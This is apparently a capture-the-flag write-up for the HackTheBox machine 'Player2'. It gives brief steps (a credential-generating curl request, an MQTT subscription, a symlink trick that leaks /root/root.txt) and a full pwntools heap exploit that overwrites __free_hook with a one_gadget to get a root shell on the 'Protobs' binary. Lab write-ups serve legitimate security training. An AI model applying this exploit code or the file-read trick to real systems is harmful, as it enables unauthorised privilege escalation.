Player2 @ HackTheBox

Player2 is a 50-point Linux machine on HackTheBox. For user we do some web fuzzing, call a twirp method to get credentials, find hidden backup totp codes, and then bypass a signature check on a firmware sample we can upload. Finally, subscribe to the running Mosquitto MQTT service to find a SSH private key. For Root there is an unintended way to use MQTT to leak the root flag or a Heap Exploit.

Notes

Get Credentials

curl --request "POST" --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{"number": 1}' --verbose 

Mosquitto Sub

mosquitto_sub -h 127.0.0.1 -v -t '$SYS/#' 

Unintended Root (as observer)

mv id_rsa id_rsa.bak
ln -s /root/root.txt id_rsa

The Heap Exploit:

#!/usr/bin/python
from pwn import *
import random
import string
import time

# Author: xct

def create_config(p, name='xct', desc_size=0, desc=''):
    p.recvuntil('protobs@player2:~$')
    p.sendline('2')
    p.recvuntil(']:')
    p.sendline(name)
    p.recvuntil(']:')
    p.sendline('')
    p.recvuntil(']:')
    p.sendline('')
    p.recvuntil(']:')
    p.sendline('')
    p.recvuntil(']:')
    p.sendline('')
    p.recvuntil(']:')
    p.sendline('')
    p.recvuntil(']:') 
    p.sendline(str(desc_size))
    p.recvuntil(']:')
    p.send(desc)


def delete_config(p, index):
    p.recvuntil('protobs@player2:~$')
    p.sendline('4')
    p.recvuntil(']:')
    p.sendline(str(index))


def read_config(p, index):
    p.recvuntil('protobs@player2:~$')
    p.sendline('3')
    p.recvuntil(']:')
    p.sendline(str(index))


context.arch = 'amd64'
context.log_level = 'debug'
libc = ELF('./libc.so.6')
main = ELF('./Protobs')

BASE_OFFSET = 0x1EB9a8 
FREE_HOOK = 0x1E75A8
ONE_GADGET =  0xe2383

s =  ssh(host='10.10.10.170', user='observer', keyfile='observer.key')
p = s.run('/opt/Configuration_Utility/Protobs')

create_config(p, desc_size=72, desc='A'*64)
read_config(p, 0)
p.recvuntil("A"*(64))
leak = p.recvline()[:-1]
leak += b"\x00\x00"
leak = u64(leak)
base = leak-BASE_OFFSET
log.success('Leak: ' +hex(leak))
log.success('Libc-Base: '+hex(base))
idx = 1


create_config(p, desc_size=0x68, name='BBBB', desc='B'*(0x68)) #1
create_config(p, desc_size=0x68, name='CCCC', desc='C'*(0x68)) #2
create_config(p, desc_size=0x38, name='DDDD', desc='D'*(0x38)) #3
create_config(p, desc_size=0x20, name='ZZZZ', desc='Z'*(0x20)) #4

delete_config(p, idx+2)
delete_config(p, idx+1)
create_config(p, desc_size=0x68, name=b'M'*0x68+b'N'*8+p64(base+FREE_HOOK), desc=b'P'*(0x20)) 
create_config(p, desc_size=0x38, name=p64(0xcafebabe), desc=p64(base+ONE_GADGET)) 
delete_config(p, 0)

p.interactive()
p.close()